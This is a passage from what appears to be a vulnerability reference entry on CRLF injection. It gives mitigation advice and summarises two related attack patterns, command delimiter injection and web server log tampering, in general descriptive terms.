Avoid using CRLF as a special sequence.
Mitigation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.